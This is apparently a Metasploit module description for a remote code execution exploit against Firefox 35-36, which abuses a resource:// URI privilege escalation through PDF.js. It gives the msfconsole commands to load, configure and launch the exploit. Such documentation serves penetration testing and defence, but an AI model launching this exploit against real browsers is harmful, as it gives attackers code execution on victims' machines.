This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/browser/firefox_pdfjs_privilege_escalation
msf exploit(firefox_pdfjs_privilege_escalation) > show targets
...targets...
msf exploit(firefox_pdfjs_privilege_escalation) > set TARGET < target-id >
msf exploit(firefox_pdfjs_privilege_escalation) > show options
...show and set options...
msf exploit(firefox_pdfjs_privilege_escalation) > exploit
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